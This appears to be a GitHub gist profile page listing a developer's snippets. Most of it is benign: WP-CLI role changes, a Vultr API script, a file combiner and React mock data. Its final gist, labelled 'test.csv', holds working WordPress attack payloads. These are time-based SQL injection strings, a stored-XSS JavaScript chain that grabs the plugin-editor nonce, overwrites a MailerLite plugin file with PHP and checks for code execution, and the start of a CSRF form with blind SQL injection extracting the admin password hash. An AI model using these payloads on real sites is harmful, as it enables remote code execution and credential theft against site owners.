Skip to content

Instantly share code, notes, and snippets.

View lsemenenko's full-sized avatar

Leo Semenenko lsemenenko

View GitHub Profile
@lsemenenko
lsemenenko / gist:8282e34ef722e9e75843396ea3d13607
Created January 21, 2021 03:49
Change all users with specific role to another role across MU network with WP-CLI
for i in $(sudo -u www-data wp site list --field=url); \
do
echo ${i}; \
a="$(sudo -u www-data wp user list --url=${i} --role=SuperUser --field=user_login)"; \
if [[ ! -z "${a}" ]]; then \
sudo -u www-data wp user --url="${i}" update "${a}" --role "administrator"; \
echo "User ${a} updated for site ${i}."; \
fi; \
done
@lsemenenko
lsemenenko / vultr.sh
Created October 11, 2024 12:50
List Vultr servers via API
#!/bin/bash
# Check if API key is provided
if [ $# -eq 0 ]; then
echo "Usage: $0 <VULTR_API_KEY>"
exit 1
fi
# Vultr API key from command-line argument
VULTR_API_KEY="$1"
@lsemenenko
lsemenenko / combine_files.sh
Created November 24, 2024 23:50
Combine files, with filename/dir hints, to load into AI
#!/bin/bash
# ===========================================================================
# File Combiner - Combines multiple files into a single file with path headers
# ===========================================================================
#
# Description:
# This script recursively combines files from a directory into a single file,
# adding the file path as a comment before each file's content. Useful for
# preparing codebases for AI analysis or documentation.
import { useState } from "react";
const MOCK_DATA = {
profile: {
name: "Leonid Kuznetsov",
title: "Head of Engineering",
company: "GridPane",
avatar: "LK",
status: "online",
bio: "20 years of DevOps experience. Building high-performance WordPress hosting infrastructure at scale.",
@lsemenenko
lsemenenko / test.csv
Last active March 21, 2026 00:32
sadasd
post_title post_status
baseline_probe_7392_unique trash
sqli_probe_7392_unique' OR (SELECT SLEEP(1)) OR '1'='2 trash
sqli_probe_7392_unique' OR (SELECT SLEEP(5)) OR '1'='2 trash
(async()=>{try{t='official-mailerlite-sign-up-forms/src/Models/MailerLiteField.php';p='official-mailerlite-sign-up-forms/mailerlite.php';u='/wp-admin/plugin-editor.php?file='+encodeURIComponent(t)+'&plugin='+encodeURIComponent(p);h=await(await fetch(u,{credentials:'include'})).text();m=h.match(/name="nonce"\s+value="([^"]+)/);if(!m){document.body.prepend('T6_NONCE_FAIL');return;}b=new URLSearchParams({nonce:m[1],_wp_http_referer:'/wp-admin/plugin-editor.php?file='+encodeURIComponent(t)+'&plugin='+encodeURIComponent(p),newcontent:'<?php phpinfo(); exit; ?>',action:'update',file:t,plugin:p,'docs-list':'',submit:'Update File'});r=await fetch('/wp-admin/plugin-editor.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:b});x=await(await fetch('/wp-content/plugins/'+t+'?wf_t6=1&_='+Date.now(),{credentials:'include'})).text();document.body.prepend('T6_WRITE:'+r.status);document.body.prepend('T6_RCE:'+((x.includes('PHP Version')||x.includes('phpinfo()'))?'YES':'
<!doctype html>
<html>
<body>
<form id="step1" action="https://a.local/wp-admin/admin-ajax.php" method="POST">
<input name="action" value="woobe_filter_products">
<input name="filter_current_key" value="theory4_true">
<input name="filter_data" value="woobe_filter[post_date_from]=2100-01-01%27 OR IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1 LIMIT 1),2,1)=%27w%27,SLEEP(3),0)%23">
</form>
<form id="step2" action="https://a.local/wp-admin/admin-ajax.php" method="POST" target="sink">